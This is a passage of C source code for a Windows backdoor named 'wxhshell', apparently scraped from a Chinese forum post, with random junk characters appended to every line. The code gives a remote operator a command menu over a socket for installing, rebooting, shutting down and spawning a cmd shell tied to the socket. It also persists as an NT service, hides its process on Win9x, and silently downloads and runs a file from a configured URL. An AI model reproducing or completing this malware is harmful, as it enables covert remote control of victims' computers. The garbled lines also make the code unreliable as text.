  case '?': { t"= E^r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2nSSF x r  
    break; >33=<~#n  
  } ' 0J1vG~c  
  // 安装 g]4(g<:O  
  case 'i': { >Db;yC&  
    if(Install()) Ov-icDMm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OW3sS+y  
    else w2 a1mU/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \HKxh:F'  
    break; YL]Z<%aKt  
    } |G?htZF  
  // 卸载 Y8m1M-#w  
  case 'r': { .#rJ+.2  
    if(Uninstall()) t=Xv;=daB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZ,YS 4M  
    else |y0(Q V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CDP U\ZG  
    break; { OXFN;2  
    } ,q}ML TS i  
  // 显示 wxhshell 所在路径 IFF92VD&  
  case 'p': { ` :o4'CG  
    char svExeFile[MAX_PATH]; 9QDFEYG  
    strcpy(svExeFile,"\n\r"); Xc?&_\. +  
      strcat(svExeFile,ExeFile); .?R!DYC`  
        send(wsh,svExeFile,strlen(svExeFile),0); 9aze>nxh.  
    break; jz qyk^X  
    } &Xf^Iu  
  // 重启 3BtaH#ZY  
  case 'b': { bn!HUM,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l|kSsP:GO  
    if(Boot(REBOOT)) FFu9&8Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.kha8v  
    else { / c AUl  
    closesocket(wsh); ti I.W  
    ExitThread(0); wB!Nc Y\p  
    } :cF[(i/k4  
    break; _F$aUtb%O  
    } VU&7P/\f%  
  // 关机 n/+.s(7c  
  case 'd': { mj9 <%P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +VO-oFE|  
    if(Boot(SHUTDOWN)) L&u$t}~)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @cFJeOC|  
    else { czS+< w  
    closesocket(wsh); S7/eS)SQR  
    ExitThread(0); uTKD 4yig  
    } 2QJ{a46}  
    break; _*1`@  
    } u*Pibgd<  
  // 获取shell M<kj_.  
  case 's': { B56L1^ 7  
    CmdShell(wsh); !,6c ~ w  
    closesocket(wsh); ~N<4L>y<  
    ExitThread(0); z([ v%zf  
    break; 7f0lQ  
  } zi]\<?\X  
  // 退出 &Low/Y'.jJ  
  case 'x': { s'%R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8W,Jh8N6  
    CloseIt(wsh); FVaQEMZ^  
    break; P:k>aHnW  
    }  ?zw|kl  
  // 离开 X voo=  
  case 'q': { vgfcCcZ_iZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /5Oa,NS7  
    closesocket(wsh); 1*9U1\z  
    WSACleanup(); }]lr>"~y}  
    exit(1); L"o>wYx  
    break; kXi6lh  
        } B?'#4J  
  } =;2%a(  
  } MP_ ~<Q  
;C3US)j  
  // 提示信息 VGpWg rmHk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O(D ~_O.  
} 2O.i\cH  
  } ] 6TATPIr  
ms*(9l.hOK  
  return; I %sFqh>  
} U%q7Ai7  
= kJ,%\E`  
// shell模块句柄 :h\Q;?  
int CmdShell(SOCKET sock) ?o81E2TJO  
{ gW)3e1a  
STARTUPINFO si; a@@)6FM  
ZeroMemory(&si,sizeof(si)); * +"9%&?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f !I[>&n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; psg)*'r  
PROCESS_INFORMATION ProcessInfo; >8WP0 Qx/  
char cmdline[]="cmd"; ]:4*L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C8Qa$._  
  return 0; 2+QYhdw  
} i rU 6D  
Y }$/e  
// 自身启动模式 ow_W%I=6  
int StartFromService(void) {2=jAz'?  
{ A OISs4  
typedef struct mH%yGBp_  
{ !F A]  
  DWORD ExitStatus; x:),P-~w  
  DWORD PebBaseAddress; m[~V/N3  
  DWORD AffinityMask; Xejo_SV&?  
  DWORD BasePriority;  >qS9PX  
  ULONG UniqueProcessId; 5-aj 2>=7  
  ULONG InheritedFromUniqueProcessId; x[h^[oF0  
}   PROCESS_BASIC_INFORMATION; ts\5uiB<%  
MZSy6v  
PROCNTQSIP NtQueryInformationProcess; \;qW 3~  
i;/5Y'KZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y9uC&/_C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PsnWWj?c  
@k,z:~[C=  
  HANDLE             hProcess; /Z~<CbKKl  
  PROCESS_BASIC_INFORMATION pbi; wy0tgy(' |  
8$6Y{$&C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V@zg}C|e  
  if(NULL == hInst ) return 0; i BF|&h(\  
%?}33yV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ([SU:F!uW(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }001K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sf)EMh3Z  
L ^q""[  
  if (!NtQueryInformationProcess) return 0; w80oXXs[#  
pR(jglm7-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NidIVbT.A  
  if(!hProcess) return 0; v|uAzM{73  
ABQ('#78  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ';3{T:I  
"P 7nNa  
  CloseHandle(hProcess); L^}_~PO N5  
iII=;:p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )wC?T  
if(hProcess==NULL) return 0; }&cu/o4  
(gP)%  
HMODULE hMod; ^ DaBz\  
char procName[255]; ^hc!FD  
unsigned long cbNeeded; mq@6Q\Z+  
,]9P{k]O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >/l? g5{  
i,>khc  
  CloseHandle(hProcess); hIy~B['  
B"h#C!E  
if(strstr(procName,"services")) return 1; // 以服务启动 @ [:ZS+1  
jrr EAp  
  return 0; // 注册表启动 W>) M5t4i  
} K^1oDP  
5gYRwuf  
// 主模块 &e E=<x  
int StartWxhshell(LPSTR lpCmdLine) 0z1ifg&  
{ U' H$`$Ov  
  SOCKET wsl; U{2BVqM  
BOOL val=TRUE; J!c)s!`w  
  int port=0; $xzAv{  
  struct sockaddr_in door; #.rdQ,)<  
b*a#<K$T_  
  if(wscfg.ws_autoins) Install(); 7m4ao K  
S\:P-&dC  
port=atoi(lpCmdLine); ZP@ $Q%up  
>0/i[k-dk  
if(port<=0) port=wscfg.ws_port; q!.byrod  
) i;1*jK  
  WSADATA data; ~IYUuWF(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - Ajo9H  
] eotc2?u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jyZ  (RB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aS{|uE]  
  door.sin_family = AF_INET; l3Xfc2~ 2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ((H^2KJn  
  door.sin_port = htons(port); t<#TJ>Le  
th  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O#ai)e_uQk  
closesocket(wsl); ??^5;P{yx  
return 1; GWZ }7ake  
} uxXBEq;  
J%u=Ucdh  
  if(listen(wsl,2) == INVALID_SOCKET) { 0(eB ZdRO  
closesocket(wsl); a L} % 2  
return 1; /s x@$cvW  
} ")SFi^]  
  Wxhshell(wsl); T1ut"Zu  
  WSACleanup(); KI)M JG:t  
;O,+2VzP%^  
return 0; 7?#J~.d5  
5x5@t :  
} #eoome2Q  
]O]4z,n  
// 以NT服务方式启动 Px4) >/ z,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i6^twK)j  
{ }JF13beU  
DWORD   status = 0; 3 }duG/  
  DWORD   specificError = 0xfffffff; \nXtH}9ZF  
=$u! 59_dE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; joFm]3$;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,f~J`3(&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qB5j;@ r  
  serviceStatus.dwWin32ExitCode     = 0; gqZ'$7So  
  serviceStatus.dwServiceSpecificExitCode = 0; y&6FybIz  
  serviceStatus.dwCheckPoint       = 0; `95r0t0hh\  
  serviceStatus.dwWaitHint       = 0; _GV:HOBi  
n`#tKwWHYx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H=<S 9M  
  if (hServiceStatusHandle==0) return; ND'E8Ke pq  
BL0 {HV!  
status = GetLastError(); caIL&G,  
  if (status!=NO_ERROR) C^O VB-  
{ =O&%c%~q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $mu^G t  
    serviceStatus.dwCheckPoint       = 0; *1 uKr9  
    serviceStatus.dwWaitHint       = 0; o*-)Tq8GHE  
    serviceStatus.dwWin32ExitCode     = status; U_M$#i{_  
    serviceStatus.dwServiceSpecificExitCode = specificError; '}9x\3E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CNih6R  
    return; U_Vs.M.p  
  } `tB gH_$M  
y^;#&k!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x.]i }mt  
  serviceStatus.dwCheckPoint       = 0; Q 8T]\6)m  
  serviceStatus.dwWaitHint       = 0; 1#C4;3i,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b,5~b&<h  
} y`VyQWW  
IoxgjUa  
// 处理NT服务事件,比如:启动、停止 I5`4Al  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L5Ebc#  
{ ? E1<!~  
switch(fdwControl) 7S-ys+  
{ MDnKX?Y  
case SERVICE_CONTROL_STOP: v_<rNc,z-s  
  serviceStatus.dwWin32ExitCode = 0; { d=^}-^   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iJ-23_D  
  serviceStatus.dwCheckPoint   = 0; #H)vK"hF  
  serviceStatus.dwWaitHint     = 0; tClg*A;|B  
  { lNy.g{2f<m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;!=G   
  } ,$@bE  
  return; .7Dtm<K#  
case SERVICE_CONTROL_PAUSE: lsJSYJG&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LzG%Z1`  
  break; l}a)ZeR1  
case SERVICE_CONTROL_CONTINUE: Sxnpq Vbk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u__9Z:+  
  break; s(5Y  
case SERVICE_CONTROL_INTERROGATE: ]GMe \n  
  break; jfP*"uUK  
}; rxe >}ZO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,-$LmECg  
} ,g%0`SO  
D60aH!ft  
// 标准应用程序主函数 cm&nd'A't  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; ^*}#X d  
{ mi=Q{>rb  
iNWw;_|1  
// 获取操作系统版本 :WjpzgPuN  
OsIsNt=GetOsVer(); -c_74c50  
GetModuleFileName(NULL,ExeFile,MAX_PATH); viW!,QQ(S  
({ 8-*  
  // 从命令行安装 Ar%%}Gx /  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'vVQg  
bENdMH";  
  // 下载执行文件 bZ?v-fn\D,  
if(wscfg.ws_downexe) { +M./@U*g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c#XXp"7k2  
  WinExec(wscfg.ws_filenam,SW_HIDE); !-z'2B*:^  
} 1A?W:'N  
mf A{3  
if(!OsIsNt) { tGD6AI1"I  
// 如果时win9x,隐藏进程并且设置为注册表启动 i{Uc6 R6  
HideProc(); J; 3{3  
StartWxhshell(lpCmdLine); ]S&&|Fc  
} i)o2klIkB  
else =qoWCmg"&  
  if(StartFromService()) ls?~+\Jb  
  // 以服务方式启动 3oBtP<yG.  
  StartServiceCtrlDispatcher(DispatchTable); $'0u|Xy`  
else %r<rcY  
  // 普通方式启动 NC8t) X7  
  StartWxhshell(lpCmdLine); 3YeG$^y"  
S(o#K|)>  
return 0;  H_B4  
}
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只看该作者 1 发表于: 2006-10-10
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